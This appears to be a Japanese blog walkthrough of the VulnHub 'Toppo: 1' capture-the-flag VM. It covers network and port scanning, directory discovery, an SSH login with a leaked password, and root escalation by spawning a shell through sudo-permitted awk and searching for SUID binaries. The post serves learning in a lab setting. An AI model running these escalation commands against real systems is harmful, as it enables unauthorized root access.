セキュリティ技術者見習い備忘録

セキュリティ見習いが勉強作業記録をメモする場所

【VulnHub】Toppo: 1 -Walkthrough-

はじめに

今回は以下のVM

環境構築は、以下を参考。

ztetez.hatenablog.com

情報収集

ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは10.0.10.10)

#netdiscover -r 10.0.10.0/24

-r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。

f:id:ztetez:20190429015035p:plain

VMを起動した段階で表示もされてた。

f:id:ztetez:20190129231730p:plain

続いてポートスキャン。

#nmap -sV -A -p- 10.0.10.11

  • -sV:バージョンスキャン
  • -A:詳細情報取得
  • -p-:フルポートスキャン

f:id:ztetez:20190129231913p:plain

23番(ssh)、80番(http)、111(rpcbind)、59046番がopen。80番から調査スタート。

ブラウザからアクセスすると、ブログが表示された。

f:id:ztetez:20190129233854p:plainリンクされていないコンテンツを調査。

#dirb http://10.0.10.11

f:id:ztetez:20190129233925p:plain

/admin/にアクセスすると、notes.txtがあった。中を見てみると、パスワードと、数字に挟まれたユーザ名らしきもの(ted)を発見。

f:id:ztetez:20190129234451p:plain

 侵入

ユーザ名:"ted"、パスワード:"12345ted123"でsshアクセスに成功した。

f:id:ztetez:20190130000106p:plain

内部探査

sudoで許可されたコマンドを調査するために以下を実行したが、command not foundとなったので/etc/sudoersを確認した。

$sudo -l

  • -l:実行を許可されたコマンド、パスを一覧表示

f:id:ztetez:20190130000959p:plain

awkコマンドのみrootとして実行できることが分かった。awkを使ってOSコマンドを使う方法を調査した結果、参考になるサイトを発見。

orebibou.com

以下のコマンドを実行すればよいとのこと。

awk '{system("OSのコマンド")}'

上記の実行方法で/rootフォルダの中身を確認すると、flag.txtを発見。同じようにして、flag.txtの中身を確認できた。

$awk '{system("ls -a /root")}'

$awk '{system("cat /root/flag.txt")}'

f:id:ztetez:20190130003028p:plain

補足 

以下を実行するとシェルが奪える。

$awk '{system("/bin/sh")}'

f:id:ztetez:20190130191454p:plain

以下の方法でもOK。python2.7がSUIDが設定されていたので、これを利用してシェルをゲット。

$find / -perm -4000 -type f 2>/dev/null

f:id:ztetez:20190130192530p:plain